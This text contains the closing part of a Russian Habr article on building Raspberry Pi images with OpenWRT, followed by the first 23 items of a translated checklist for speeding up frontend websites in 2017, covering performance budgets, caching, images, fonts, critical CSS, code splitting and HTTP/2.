Тоже, что и BuildRoot, но собрался без ошибок.
###### Инструкции
```
export OW=$SANDBOX/ow
mkdir $OW && cd $OW
git clone https://code.google.com/p/raspberrypi-openwrt/
make menuconfig
# выбрать bcm2835
make
#
# Устанавливаем образ
#
sudo dd if=./bin/brcm2708/openwrt-brcm2708-sdcard-vfat-ext4.img of=/dev/mmcblk0
```
###### Ссылки
* [raspberry-pi-openwrt](http://code.google.com/p/raspberrypi-openwrt/)
###### Скриншот
#### Заключение
##### Впечатление
Если вы следите за новостями и разбираетесь в сборках, то конечно, для вас ничего нового нет, но если вы застряли на одном месте, то RPi это очень хороший шанс, попробовать что-то новое, потому что старые проекты обновляются и начинают поддерживать что-то новое и RPi в списках у них одна из первых.
Я был крайне удивлен и рад, что узнал о таких проектах как Yocto project и OpenWRT, которые когда-то обошли меня стороной. Первый — прекрасное развитие OpenEmbedded, но в техническом плане ничего нового, второй проект мне захотелось просто попробовать.
Для себя же выбрал попробовать BuildRoot и, если что-то не устроит то перейду на Yocto project (взамен OpenEmbedded).
И конечно, не нужно собирать свои дистрибутивы (или образы), если можно попробовать уже готовые, это будет куда проще. На каждом сайте из систем сборки есть уже готовые образы.
Мое маленькое исследование подошло к концу и как результат решил его оформить в эту статью.
##### Что упустил
* Не написал список пакетов, которые предоставляет система сборки
* Есть ли команды, чтобы сразу сгенерировать конфигурацию для работы через nfs (только для удобства)
* Не указал размер получившегося образа, время его сборки и общий размер папки, после компиляции
##### Материал для дальнейшего исследования
* [PiLFS](http://www.intestinate.com/pilfs/) — там есть пример как скомпилировать Quake 3 на самом RPi
* [CLFS инструкции по сборке](http://www.jayway.com/2013/01/20/linux-from-scratch-on-raspberry-pi/) RPi
* [Большой список образов](http://elinux.org/RPi_Distributions) под RPi
##### Последнее слово
Если найдете ошибку, пожалуйста, сообщите мне — поправлю.
Если пожелаете, добавлю ссылки на получившиеся у меня образы.
Если у вас есть замечания, комментария, какой-то текст кажется слишком простой и не нужный, пожалуйста, напишите лично.
Добавил скриншоты. | https://habr.com/ru/post/172349/ | null | ru | null |
# 33 способа ускорить ваш фронтенд в 2017 году
Вы уже используете прогрессивную загрузку? А как насчёт технологий **Tree Shaking** и **разбиения кода** в React и Angular? Вы настроили сжатие Brotli или Zopfli, OCSP stapling и HPACK-сжатие? А как у вас обстоят дела с оптимизацией ресурсов и клиентской части, со вложенностью CSS? Не говоря уже о IPv6, HTTP/2 и сервис-воркерах.
Были времена, когда производительность зачастую улучшали задним числом. Работу над ней откладывали до самого окончания проекта, и всё сводилось к минификации, конкатенации, оптимизации ресурсов и, если повезёт, нескольким тонким настройкам на стороне сервера. С тех пор ситуация значительно изменилась.
Задача повышения производительности перестала быть сугубо техническим вопросом. Теперь она внедрена в общий рабочий процесс, и те или иные архитектурные решения оцениваются с точки зрения их влияния на скорость работы системы. Производительность нужно постоянно мониторить, измерять и уточнять, но с ростом сложности веба перед разработчиками возникают всё новые проблемы, затрудняющие отслеживание метрик, ведь они сильно зависят от устройств, браузеров, протоколов, типов сетей и задержки (CDN, интернет-провайдеры, кэши, прокси, файрволы, балансировщики нагрузки и серверы — всё это влияет на производительность).
Но если описывать все факторы, о которых следует помнить при улучшении производительности — с начала работы над проектом до запуска сайта, то как будет выглядеть подобный список? Ниже вы найдёте (надеюсь, беспристрастный и объективный) чек-лист по улучшению производительности фронтенда на 2017 год. Это обзор проблем, которые вам потребуется решить для уменьшения времени отклика сайта и его плавной работы.
### Чек-лист
Микрооптимизации позволяют держать производительность под контролем, но при этом крайне важно ясно представлять себе конкретные цели: они должны быть измеримы и влиять на все принимаемые в процессе работы решения. Существует несколько разных моделей, и те, что будут обсуждаться дальше, весьма категоричны. Поэтому убедитесь, что вы с самого начала выбрали свои собственные приоритеты.
*#### Подготовка и выбор целей*
### 1. Будьте на 20% быстрее своего самого быстрого конкурента
Согласно одному [психологическому исследованию](https://www.smashingmagazine.com/2015/09/why-performance-matters-the-perception-of-time/#the-need-for-performance-optimization-the-20-rule), если вы хотите, чтобы ваши пользователи воспринимали ваш сайт как самый быстрый, вам нужно быть как минимум на 20% быстрее. Время полной загрузки страницы нерелевантно в отличие от таких метрик, как время начала отрисовки, время до первого полезного экрана (то есть [время, необходимое для отображения](https://developers.google.com/web/tools/lighthouse/audits/first-meaningful-paint) на странице первичного контента) и время до начала взаимодействия ([время, через которое страница](https://developers.google.com/web/tools/lighthouse/audits/time-to-interactive) (и в первую очередь одностраничное приложение) оказывается готова к тому, чтобы пользователь мог с ней взаимодействовать).
Измерьте время до начала отрисовки (с помощью [WebPagetest](http://www.webpagetest.org/)) и до первого полезного экрана (с помощью [Lighthouse](https://github.com/GoogleChrome/lighthouse)) на Moto G, каком-нибудь смартфоне Samsung бизнес-класса и заурядном устройстве вроде Nexus 4 (желательно в какой-нибудь [открытой лаборатории](https://www.smashingmagazine.com/2016/11/worlds-best-open-device-labs/)) на обычных 3G-, 4G- и Wi-Fi-подключениях.
*[Lighthouse](https://github.com/GoogleChrome/lighthouse), новый инструмент аудита производительности, разработанный Google*
Проанализируйте полученные результаты, чтобы понять, какова ситуация у ваших пользователей. Затем можете для тестирования имитировать 90-й перцентиль. Соберите данные в [таблицу](http://danielmall.com/articles/how-to-make-a-performance-budget/), срежьте 20% и поставьте себе конкретные цели ([бюджет производительности](http://bradfrost.com/blog/post/performance-budget-builder/)). Теперь вы можете при тестировании ориентироваться на конкретные показатели. Если вы будете держать бюджет в уме и стараться «придушить» хотя бы самый маленький скрипт ради уменьшения времени до начала взаимодействия, то вы на верном пути.
[Performance budget builder](http://bradfrost.com/blog/post/performance-budget-builder/)
**Поделитесь чек-листом с коллегами**. Ознакомьте с ним каждого члена команды, чтобы избежать недопонимания. Каждое решение влияет на производительность, и проект очень сильно выиграет от вовлечения фронтенд-разработчиков в процесс принятия решений по концепции, UX и дизайну. Привяжите дизайн решения к бюджету производительности и приоритетам, обозначенным в чек-листе.
### 2. Время отклика – 100 миллисекунд, 60 кадров в секунду
[Модель производительности RAIL](https://www.smashingmagazine.com/2015/10/rail-user-centric-model-performance/) задаёт правильные цели: сделайте всё возможное, чтобы пользователи получали отклик раньше, чем через 100 мс после начального ввода данных. Для этого страница должна возвращать управление главному потоку не позднее чем через каждые <50 мс. В высоконагруженных зонах вроде анимации везде, где возможно, лучше ничего больше не делать, либо делать абсолютный минимум.
Кроме того, каждый кадр анимации должен завершаться менее чем за 16 мс, чтобы обеспечить частоту в 60 кадров/с (1 с ÷ 60 = 16,6 мс). Желательно — менее чем за 10 мс. Поскольку браузеру нужно время для отрисовки нового кадра, ваш код должен завершить исполнение раньше 16,6 мс. [Будьте оптимистичны](http://info.meteor.com/blog/optimistic-ui-with-meteor-latency-compensation) и с умом воспользуйтесь временем ожидания. Очевидно, что эти цели относятся к runtime-производительности, а не к производительности загрузки.
### 3. Первый полезный экран менее чем за 1,25 с, Speed Index ниже 1000
Хотя это может оказаться очень труднодостижимым, ваша главная цель — начало отрисовки менее чем через 1 с и значение [Speed Index](https://sites.google.com/a/webpagetest.org/docs/using-webpagetest/metrics/speed-index) ниже 1000 (на быстрых подключениях). Время до первого полезного экрана не должно превышать 1250 мс. Для мобильных устройств, подключённых по 3G, считается [приемлемым](https://www.soasta.com/blog/google-mobile-web-performance-study/) начало отрисовки не позднее чем через 3 с. Даже если будет чуть дольше, не страшно, но старайтесь снизить это значение.
*#### Определите среду*
### 4. Выберите и настройте инструменты для сборки
Не обращайте слишком много внимания на то, что сегодня считается якобы крутым. Придерживайтесь своей среды для сборки, будь то Grunt, Gulp, Webpack, PostCSS или какая-то комбинация инструментов. Пока вы достаточно быстро получаете результаты и не испытываете проблем с поддержанием процесса сборки, вы всё делаете правильно.
### 5. Прогрессивное улучшение
Пусть [прогрессивное улучшение](https://www.aaron-gustafson.com/notebook/insert-clickbait-headline-about-progressive-enhancement-here/) будет основным принципом ваших фронтенд-архитектуры и развёртывания, это беспроигрышный вариант. Сначала проектируйте и создавайте основные схемы взаимодействия, а затем расширяйте их возможностями, поддерживаемыми разными браузерами, создавая [отказоустойчивые](https://resilientwebdesign.com/) схемы. Если ваш сайт работает быстро на медленных машинах с паршивенькими экранами, в устаревших браузерах и неоптимальных сетях, то он будет работать ещё быстрее на быстрых машинах с хорошими браузерами и приличной сетью.
### 6. Angular, React, Ember и компания
Выберите фреймворк, позволяющий выполнять отрисовку на сервере. Обязательно измерьте время загрузки на мобильных устройствах в режимах отрисовки на серверной и клиентской сторонах, прежде чем остановиться на конкретном фреймворке (потом будет очень сложно «менять коней на переправе», и это приведёт к проблемам с производительностью). Если вы решите воспользоваться JS-фреймворком, то обязательно убедитесь, что ваш выбор – [продуманный](https://www.youtube.com/watch?v=6I_GwgoGm1w) и [осознанный](https://medium.com/@ZombieCodeKill/choosing-a-javascript-framework-535745d0ab90#.2op7rjakk). Разные фреймворки по-разному влияют на производительность и требуют разных подходов к оптимизации, так что нужно чётко понимать все преимущества и недостатки выбранного вами инструмента. При создании веб-приложения обратите внимание на [PRPL-паттерн](https://developers.google.com/web/fundamentals/performance/prpl-pattern/) и [архитектуру оболочки приложения](https://developers.google.com/web/updates/2015/11/app-shell).
*PRPL расшифровывается как Pushing critical resource, Rendering initial route, Pre-caching remaining routes and Lazy-loading remaining routes on demand: передача критических ресурсов, отрисовка начального маршрута, предварительное кэширование остальных маршрутов, отложенная загрузка остальных маршрутов по запросу.*
*[Оболочка приложения](https://developers.google.com/web/updates/2015/11/app-shell) — это сочетание HTML, CSS и JavaScript, минимально необходимое для работы пользовательского интерфейса*
### 7. AMP или Instant Articles?
В зависимости от приоритетов и стратегии, принятых в вашей организации, вы можете воспользоваться Google [AMP](https://www.ampproject.org/) или Facebook [Instant Articles](https://instantarticles.fb.com/). Можно и без них добиться хорошей производительности, но AMP предлагает надёжный и быстрый фреймворк с бесплатной сетью доставки контента (CDN), а Instant Articles повышает производительность ваших продуктов в Facebook. Также есть возможность [создавать прогрессивные веб-AMP](https://www.smashingmagazine.com/2016/12/progressive-web-amps/).
### 8. Выбирайте CDN с умом
В зависимости от того, сколько у вас динамических данных, попробуйте «вынести» часть контента в [генератор статических сайтов](https://www.smashingmagazine.com/2015/11/static-website-generators-jekyll-middleman-roots-hugo-review/), передавая его в CDN и обслуживая таким образом статическую версию, избегая запросов к базе данных. Можно даже выбрать [платформу статического хостинга](https://www.smashingmagazine.com/2015/11/modern-static-website-generators-next-big-thing/) на базе CDN, улучшив страницы с помощью интерактивных компонентов-расширений ([JAMstack](https://jamstack.org/)).
Вы обратили внимание, что CDN может обслуживать (и разгружать) ещё и динамический контент? Нет нужды ограничивать её только статическими ресурсами. Удостоверьтесь, что выбранная CDN выполняет сжатие и конвертирование контента, поддерживает умную доставку посредством HTTP/2, технологию [ESI](https://en.wikipedia.org/wiki/Edge_Side_Includes), с помощью которой статические и динамические части страниц собираются на стороне CDN (то есть в ближайшей к пользователю серверной части), и решает прочие задачи.
*#### Оптимизация сборки*
### 9. Установите приоритеты
Прежде всего, нужно понимать, с чем вы имеет дело. Проведите инвентаризацию всех ресурсов (JavaScript, изображения, шрифты, сторонние скрипты и «дорогие» модули на странице вроде каруселей, сложной инфографики и мультимедийного контента) и разделите их на группы.
Постройте таблицу. Определите **основную** функциональность для устаревших браузеров (то есть полную доступность основного контента), **расширенную** функциональность для современных браузеров (то есть улучшенную, полную функциональность) и **дополнительные материалы** (ресурсы, в которых нет необходимости и которые могут подгружаться лениво: веб-шрифты, дополнительные стили, скрипты каруселей, видеоплееры, кнопки соцсетей, крупноразмерные изображения). Подробнее об этом можно почитать в статье [Improving Smashing Magazine’s Performance](https://www.smashingmagazine.com/2014/09/improving-smashing-magazine-performance-case-study/).
### 10. Используйте подход Cutting the Mustard
Он [используется](http://responsivenews.co.uk/post/18948466399/cutting-the-mustard) для передачи устаревшим браузерам основной, а современным браузерам — расширенной функциональности. Будьте строги при загрузке своих ресурсов: немедленно грузите основную функциональность, расширения — по событиям `DOMContentLoaded`, а дополнительные материалы — по событиям `load`.
Обратите внимание, что этот подход определяет возможности устройства по версии браузера, что сегодня делать уже непозволительно. Например, на дешёвых Android-смартфонах в развивающихся странах по большей части работает Chrome, поэтому описанный сценарий будет выполняться, несмотря на небольшой объём оперативки и скромный процессор. Хотя на данный момент альтернатив такому подходу нет, нужно понимать, что в последнее время он всё реже и реже требуется.
### 11. Рассмотрите вопросы микрооптимизаций и прогрессивной загрузки
В ряде случаев требуется какое-то время на инициализацию приложения, прежде чем отрисовывать страницу. Вместо индикаторов загрузки лучше использовать [каркасное отображение](https://twitter.com/lukew/status/665288063195594752). Поищите модули и методики, позволяющие уменьшить время первичной отрисовки (например, [Tree-Shaking](https://medium.com/@richavyas/aha-moments-from-ngconf-2016-part-1-angular-2-0-compile-cycle-6f462f68632e#.8b9afnsub) и [разбиение кода](https://webpack.github.io/docs/code-splitting.html)), потому что большинство проблем с производительностью относится к первичному парсингу при запуске приложения. Также используйте [AOT-компилятор](https://ru.wikipedia.org/wiki/AOT-%D0%BA%D0%BE%D0%BC%D0%BF%D0%B8%D0%BB%D1%8F%D1%86%D0%B8%D1%8F) для [переноса части клиентской отрисовки](https://www.smashingmagazine.com/2016/03/server-side-rendering-react-node-express/) на [сторону сервера](http://redux.js.org/docs/recipes/ServerRendering.html), что ускорит получение достойного результата. Наконец, рассмотрите возможность применения [Optimize-js](https://github.com/nolanlawson/optimize-js) для более быстрой первичной загрузки за счёт обёртывания немедленно вызываемых функций (хотя это может быть уже и [необязательно](https://twitter.com/tverwaes/status/809788255243739136)).
*[Прогрессивная загрузка](https://aerotwist.com/blog/when-everything-is-important-nothing-is/) — это отрисовка страницы на стороне сервера для уменьшения времени до первого полезного экрана (это требует какого-то минимального JavaScript, необходимого для того, чтобы время до начала взаимодействия было близко ко времени до первого полезного экрана)*
Что лучше — рендеринг на стороне клиента или сервера? В обоих случаях необходимо настроить [прогрессивную загрузку](https://aerotwist.com/blog/when-everything-is-important-nothing-is/): рендеринг на стороне сервера ускорит появление первого полезного экрана, но это требует какого-то минимального JavaScript, необходимого для того, чтобы время до начала взаимодействия было близко ко времени до первого полезного экрана. Потом уже мы можем подгрузить второстепенные части приложения, по запросу или если позволяет время. К сожалению, [во фреймворках обычно отсутствует](https://aerotwist.com/blog/when-everything-is-important-nothing-is/#which-to-use-progressive-booting) понятие приоритетов, явно предоставляемых разработчикам, так что с большинством библиотек и фреймворков прогрессивную загрузку реализовать непросто. Если у вас есть время и ресурсы, то можете воспользоваться этой стратегией для существенного повышения производительности.
### 12. Правильно ли настроены заголовки HTTP-кэша?
Проверьте, чтобы `expires`, `cache-control`, `max-age` и прочие заголовки HTTP-кэша были настроены правильно. В целом, ресурсы должны кэшироваться либо на очень короткий срок (если они могут измениться), либо на неопределённый (если они статичны) — при необходимости можно поменять их версию в URL.
Чтобы избежать ревалидации fingerprinted-ресурсов, по мере возможности используйте предназначенный для них `Cache-Control: immutable` (по состоянию на декабрь 2016 года [поддерживается только в Firefox](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cache-Control) в транзакциях `https://`). Можете почитать [пособие по заголовкам HTTP-кэша](https://devcenter.heroku.com/articles/increasing-application-performance-with-http-cache-headers), статью [«Лучшие методики кэширования»](https://jakearchibald.com/2016/caching-best-practices/) и ещё одно [пособие по HTTP-кэшированию](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching?hl=en).
### 13. Ограничьте влияние сторонних библиотек и асинхронно загружайте JavaScript
Когда пользователь запрашивает страницу, браузер берёт HTML и собирает DOM, затем берёт CSS и собирает CSSOM, а затем – генерирует дерево отрисовки, сопоставляя DOM и CSSOM. Если нужно обработать какой-то JavaScript, то браузер не начнёт отрисовывать страницу, пока не завершится обработка. Поэтому разработчики должны чётко «сказать» браузеру, чтобы он не ждал и сразу начинал отрисовывать. Для скриптов это делается с помощью HTML-атрибутов `defer` и `async`.
Но на практике лучше [`вместо async` использовать `defer`](http://calendar.perfplanet.com/2016/prefer-defer-over-async/) ([ради пользователей IE](https://github.com/h5bp/lazyweb-requests/issues/42) до версии 9 включительно, в противном случае у них могут не работать скрипты). Также рекомендуется ограничить влияние сторонних библиотек и скриптов, особенно кнопок социальных сетей и встроенных . В качестве альтернативы можно использовать [статичные кнопки соцсетей](https://www.savjee.be/2015/01/Creating-static-social-share-buttons/) (например, [SSBG](https://simplesharingbuttons.com/)) и [статичные ссылки на интерактивные карты](https://developers.google.com/maps/documentation/static-maps/intro).
### 14. Правильно ли оптимизированы изображения?
Как можно больше используйте [адаптивные изображения](https://www.smashingmagazine.com/2014/05/responsive-images-done-right-guide-picture-srcset/) с `srcset`, `sizes` и элементом . И заодно можете применять формат WebP для обслуживания WebP-изображений с элементом и запасным JPEG ([пример кода](https://dev.opera.com/articles/responsive-images/#different-image-types-use-case)) либо использовать согласование содержания (content negotiation) (с помощью заголовков `Accept`). Sketch нативно поддерживает WebP, к тому же есть [плагин](http://telegraphics.com.au/sw/product/WebPFormat#webpformat) для экспорта WebP-изображений из Photoshop. [Доступны и другие варианты](https://developers.google.com/speed/webp/docs/using).
*Генератор [Responsive Image Breakpoints Generator](http://www.responsivebreakpoints.com/) автоматизирует создание изображений и разметки*
Можно использовать [клиентские хинты](https://www.smashingmagazine.com/2016/01/leaner-responsive-images-client-hints/), которые сегодня [начинают поддерживаться браузерами](http://caniuse.com/#search=client-hints). Не хватает ресурсов для создания сложной разметки для адаптивных изображений? Для автоматизации оптимизации изображений используйте [Responsive Image Breakpoints Generator](http://www.responsivebreakpoints.com/) или сервисы наподобие [Cloudinary](http://cloudinary.com/documentation/api_and_access_identifiers).
Также во многих случаях применение одних лишь `srcset` и `sizes` поможет достичь значительных результатов. В Smashing Magazine для имён изображений мы используем окончание -opt. Например, `brotli-compression-opt.png`; если изображение имеет такое окончание, то все в команде понимают, что картинка была оптимизирована.
### 15. Переходите на новый уровень оптимизации изображений
Работая над лэндинговой страницей, для которой важна молниеносная загрузка определённого изображения, убедитесь, что используете прогрессивные JPEG’и со сжатием [MozJPEG](https://github.com/mozilla/mozjpeg) (это уменьшает время до начала отрисовки за счёт манипулирования уровнями сканирования), [Pingo](http://css-ig.net/pingo) для PNG, [Lossy GIF](https://kornel.ski/lossygif) для GIF и [SVGOMG](https://jakearchibald.github.io/svgomg/) для SVG. Примените размытие к маловажным частям изображения (например, с помощью фильтра «размывка по Гауссу»), чтобы уменьшить размер файла. Можно даже уменьшить цветовую палитру или сделать приложение чёрно-белым. Для фоновых изображений при экспорте из Photoshop устанавливайте качество от 0 до 10%, этого будет совершенно достаточно.
Всё ещё недостаточно быстро? Ну, можно ещё улучшить производительность с помощью разных методик, применяемых к фоновым картинкам ([1](http://csswizardry.com/2016/10/improving-perceived-performance-with-multiple-background-images/), [2](https://jmperezperez.com/medium-image-progressive-loading-placeholder/), [3](https://manu.ninja/dominant-colors-for-lazy-loading-images#tiny-thumbnails), [4](https://css-tricks.com/the-blur-up-technique-for-loading-background-images/)).
### 16. Оптимизированы ли веб-шрифты?
Наверняка используемые вами веб-шрифты используют глифы и прочие дополнительные символы, которые не будут использоваться. Ради уменьшения размеров файлов можете обратиться к поставщику с просьбой предоставить уменьшенный набор символов или [вырезать всё лишнее самостоятельно](https://www.fontsquirrel.com/tools/webfont-generator), если вы используете opensource-шрифты (например, оставив лишь латинский алфавит и несколько акцентирующих глифов). Классная вещь — [поддержка WOFF2](http://caniuse.com/#search=woff2), а для браузеров, не поддерживающих его, можно применять WOFF и OTF. Также выберите одну из стратегий, описанных в статье [Comprehensive Guide to Font Loading Strategies](https://www.zachleat.com/web/comprehensive-webfonts/), и используйте кэш сервис-воркера для надёжного кэширования веб-шрифтов.
Нужно быстрое решение? Изучите [этот материал](https://pixelambacht.nl/2016/font-awesome-fixed/), чтобы грузить шрифты в определённом порядке.
*В статье [Comprehensive Guide to Font Loading Strategies](https://www.zachleat.com/web/comprehensive-webfonts/) описаны десятки способов улучшения доставки веб-шрифтов*
Если вы не можете передавать шрифты со своего сервера и полагаетесь на сторонние хосты, то воспользуйтесь [Web Font Loader](https://github.com/typekit/webfontloader). Лучше использовать [FOUT, чем FOIT](https://www.filamentgroup.com/lab/font-events.html). Сразу же начните отрисовывать текст в запасной версии шрифта и подгружайте шрифты асинхронно. Для этого можно применять [loadCSS](https://github.com/filamentgroup/loadCSS). Возможно, вам вообще удастся [обойтись установленными в операционной системе шрифтами](https://www.smashingmagazine.com/2015/11/using-system-ui-fonts-practical-guide/).
### 17. Быстро передавайте критический CSS
Чтобы браузер как можно скорее начинал отрисовывать страницу, [стандартной практикой](https://www.smashingmagazine.com/2015/08/understanding-critical-css/) является сбор всего CSS, необходимого для отрисовки первой видимой части страницы («критический CSS», или «CSS без прокрутки экрана» (above-the-fold CSS)) с последующим встраиванием в раздел страницы. Это снижает количество обращений к серверу. Из-за ограниченного размера пакетов, которыми стороны обмениваются в ходе медленной начальной фазы, ваш бюджет критического CSS составляет около 14 Кб. Если вы его превысите, браузеру понадобится дополнительный roundtrip для получения стилей. Удержаться в рамках бюджета вам помогут [CriticalCSS](https://github.com/filamentgroup/criticalCSS) и [Critical](https://github.com/addyosmani/critical). Возможно, их придётся применять с каждым шаблоном. По мере возможности используйте [метод условного встраивания](https://www.filamentgroup.com/lab/performance-rwd.html), практикуемый Filament Group.
В случае с HTTP/2 критический CSS можно хранить в отдельном файле и доставлять по инициативе сервера (server push) без раздувания HTML. Суть в том, что такой тип доставки не имеет обязательной поддержки и имеет некоторые проблемы с кэшированием (см. слайд 114 в [презентации](http://www.slideshare.net/Fastly/http2-what-no-one-is-telling-you)). Так что эффект может оказаться даже [негативным](http://calendar.perfplanet.com/2016/http2-push-the-details/): сетевые буферы увеличатся в размерах, что предотвратит доставку в документ оригиналов фреймов. Из-за медленного старта TCP доставка по инициативе сервера [гораздо эффективнее на горячих подключениях](https://docs.google.com/document/d/1K0NykTXBbbbTlv60t5MyJvXjqKGsCVNYHyLEXIxYMv0/edit). Возможно, вам понадобится создать [механизм](https://css-tricks.com/cache-aware-server-push/) такой доставки посредством HTTP/2, зависящий от кэша. Но помните, что новая [спецификация кэширования](http://calendar.perfplanet.com/2016/cache-digests-http2-server-push/) отменит необходимость вручную создавать подобные «зависящие от кэша» серверы.
### 18. Используйте Tree Shaking и разбиение кода для снижения полезной нагрузки
[Tree Shaking](https://medium.com/@roman01la/dead-code-elimination-and-tree-shaking-in-javascript-build-systems-fb8512c86edf) — это способ очистки вашего процесса сборки за счёт включения только того кода, который используется в рабочем проекте. Для исключения излишек при экспорте можете воспользоваться [Webpack 2](http://www.2ality.com/2015/12/webpack-tree-shaking.html), а для удаления неиспользуемых стилей из CSS — [UnCSS](https://github.com/giakki/uncss) или [Helium](https://github.com/geuis/helium-css). Возможно, вам будет полезно почитать о том, как [писать эффективные CSS-селекторы](http://csswizardry.com/2011/09/writing-efficient-css-selectors/), а также как [избегать раздувания и повышения стоимости стилей](https://benfrain.com/css-performance-revisited-selectors-bloat-expensive-styles/).
[Разбиение кода](https://webpack.github.io/docs/code-splitting.html) — другая функция Webpack. Кодовая база делится на «чанки», которые грузятся по запросу. После того, как вы укажете точки разбиения в коде, Webpack позаботится о зависимостях и генерируемых файлах. Разбиение кода позволяет уменьшить объём данных при начальной загрузке, подгружая следующие порции кода по мере необходимости.
Обратите внимание, что [Rollup](http://rollupjs.org/) демонстрирует гораздо лучшие результаты по сравнению с экспортом Browserify. В этом случае вы, вероятно, захотите «пощупать» [Rollupify](https://github.com/nolanlawson/rollupify), преобразующий модули ECMAScript 2015 в один большой модуль CommonJS — ведь маленькие модули могут [на удивление сильно снижать производительность](https://nolanlawson.com/2016/08/15/the-cost-of-small-modules/) в зависимости от выбранного упаковщика (Bundler) и модульной системы.
### 19. Улучшаем производительность отрисовки
С помощью [ограничения CSS](http://caniuse.com/#search=contain) мы можем изолировать дорогие компоненты. Например, для ограничения области видимости браузерных стилей, макета, отрисовки для скрытой навигации (paint work for off-canvas navigation) или сторонних виджетов. Убедитесь в отсутствии лагов при прокрутке страницы или при работе анимации элементов. Также проверьте, чтобы частота кадров постоянно была не менее 60 кадров/с. Если этого добиться не получается, то хотя бы удерживайте частоту в пределах от 15 до 60. Чтобы сообщать браузеру, какие элементы и свойства изменятся, используйте [`will-change`](http://caniuse.com/#feat=will-change) из CSS.
Также измеряйте [производительность отрисовки в ходе исполнения](https://aerotwist.com/blog/my-performance-audit-workflow/#runtime-performance) (например, [в DevTools](https://developers.google.com/web/tools/chrome-devtools/rendering-tools/)). Для начала ознакомьтесь с [бесплатным курсом на Udacity](https://www.udacity.com/course/browser-rendering-optimization--ud860) по оптимизации отрисовки в браузере. Также можете почитать статью про [анимацию с использованием GPU](https://www.smashingmagazine.com/2016/12/gpu-animation-doing-it-right/).
### 20. Прогрев соединения для ускорения доставки
Используйте каркасное отображение (skeleton screens) и ленивую загрузку всех дорогих компонентов, таких как шрифты, JavaScript, карусели, видео и iframe. Используйте [хинты для ресурсов](https://w3c.github.io/resource-hints) для экономии времени на:
* [`dns-prefetch`](http://caniuse.com/#search=dns-prefetch) (ищет DNS в
фоновом режиме),
* [`preconnect`](http://www.caniuse.com/#search=preconnect) (просит браузер в фоновом режиме начать хендшейк для установки соединения (DNS, TCP, TLS)),
* [`prefetch`](http://caniuse.com/#search=prefetch) (просит браузер запросить ресурсы),
* [`prerender`](http://caniuse.com/#search=prerender) (просит браузер отрисовать определённые страницы в фоновом режиме),
* [`preload`](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/) (помимо прочего, заранее выбирает ресурсы без их исполнения).
Обратите внимание: на практике в зависимости от поддержки браузера вы предпочтёте preconnect, а не dns-prefetch и с осторожностью будете использовать prefetch и prerender. Последний стоит использовать только в том случае, если вы абсолютно уверены в том, куда отправится пользователь (например, пойдёт дальше по воронке продаж).
*#### HTTP/2*
### 21. Подготовка к HTTP/2
По мере того, как Google [идёт к созданию более безопасного веба](https://security.googleblog.com/2016/09/moving-towards-more-secure-web.html), и Chrome в конце концов начинает обращаться со всеми HTTP-страницами как с «небезопасными», вам придётся решать, останетесь ли вы на HTTP/1.1 или настроите [HTTP/2-среду](https://http2.github.io/faq/). HTTP/2 уже [очень хорошо поддерживается](http://caniuse.com/#search=http2). Он никуда не денется, и в большинстве случаев лучше придерживаться этого протокола. Вложения существенные, но рано или поздно это придётся сделать. Кроме того, вы можете получить [сильный прирост производительности](https://www.youtube.com/watch?v=RWLzUnESylc&t=1s&list=PLNYkxOF6rcIBTs2KPy1E6tIYaWoFcG3uj&index=25) благодаря сервис-воркерам и отправке данных по инициативе сервера (по крайне мере, в долгосрочной перспективе).
Обратная сторона медали: вам придётся мигрировать на HTTPS и в зависимости от того, насколько велика ваша пользовательская база на HTTP/1.1 (пользователи устаревших ОС или браузеров), придётся рассылать разные билды, для чего потребуется создать [новый процесс сборки](https://rmurphey.com/blog/2015/11/25/building-for-http2). Имейте в виду: настройка миграции и нового процесса сборки может быть трудной и длительной задачей. Далее по тексту будем исходить из предположения, что вы либо переходите, либо уже перешли на HTTP/2.
### 22. Правильное развёртывание HTTP/2
Ещё раз: [раздача ресурсов через HTTP/2](https://www.youtube.com/watch?v=yURLTwZ3ehk) потребует глубокого пересмотра привычных процессов. Вам придётся найти баланс между упаковкой модулей и параллельной загрузкой многочисленных маленьких модулей.
С одной стороны, вы можете захотеть избежать объединения ресурсов, разбив интерфейс на многочисленные мелкие модули, сжимая их в ходе сборки, ссылаясь на них в рамках [scout-методики](https://rmurphey.com/blog/2015/11/25/building-for-http2) и параллельно загружая. Изменение одного файла не потребует перезагрузки всей таблицы стилей или JavaScript.
С другой стороны, [упаковка имеет смысл](http://engineering.khanacademy.org/posts/js-packaging-http2.htm), поскольку отправка браузеру многочисленных маленьких JS-файлов сопряжена с определёнными проблемами. Во-первых, **ухудшится сжатие**. При повторном использовании словаря мы получаем выгоду от сжатия большого пакета, но не отдельных маленьких. Во-вторых, браузеры **ещё не оптимизированы** для подобных рабочих процессов. Например, для нескольких ресурсов Chrome запускает последовательное выполнение межпроцессных взаимодействий ([IPC](https://www.chromium.org/developers/design-documents/inter-process-communication)), так что если у нас будет нескольких сотен ресурсов, то мы получим большие затраты во время исполнения в браузере.
*Для достижения наилучших результатов с помощью HTTP/2 воспользуйтесь [прогрессивной загрузкой CSS](https://jakearchibald.com/2016/link-in-body/)*
Также вы можете попытаться [прогрессивно грузить CSS](https://jakearchibald.com/2016/link-in-body/). Очевидно, что в таком случае пользователи HTTP/1.1 окажутся в проигрыше, поэтому частью процесса развёртывания может стать генерирование и передача разных сборок разным браузерам. Это несколько усложнит процесс. Ещё вам может помочь объединение (coalescing) HTTP/2-соединений, позволяющее использовать шардинг домена без потери преимуществ HTTP/2, но на практике это труднодостижимо.
Как быть? Если вы используете HTTP/2, то разумным компромиссом может стать отправка примерно **десяти пакетов** (это не слишком плохо для устаревших браузеров). Поэкспериментируйте и подберите наилучший для вашего сайта вариант.
### 23. Убедитесь в надёжности системы безопасности вашего сервера
Все браузерные реализации HTTP/2 работают через TLS, так что вы наверняка захотите избежать предупреждений системы безопасности или дисфункции некоторых элементов на странице. Убедитесь в правильности [настройки заголовков безопасности](https://securityheaders.io/), [закройте известные уязвимости](https://www.smashingmagazine.com/2016/01/eliminating-known-security-vulnerabilities-with-snyk/) и [проверьте свой сертификат](https://www.ssllabs.com/ssltest/).
Вы ещё не мигрировали на HTTPS? Тщательно изучите стандарт HTTPS-Only. Убедитесь, что все внешние плагины и отслеживающие скрипты грузятся через HTTPS, что атака через межсайтовый скриптинг невозможна, и что правильно настроены заголовки [HTTP Strict Transport Security](https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet) и [Content Security Policy](https://content-security-policy.com/).
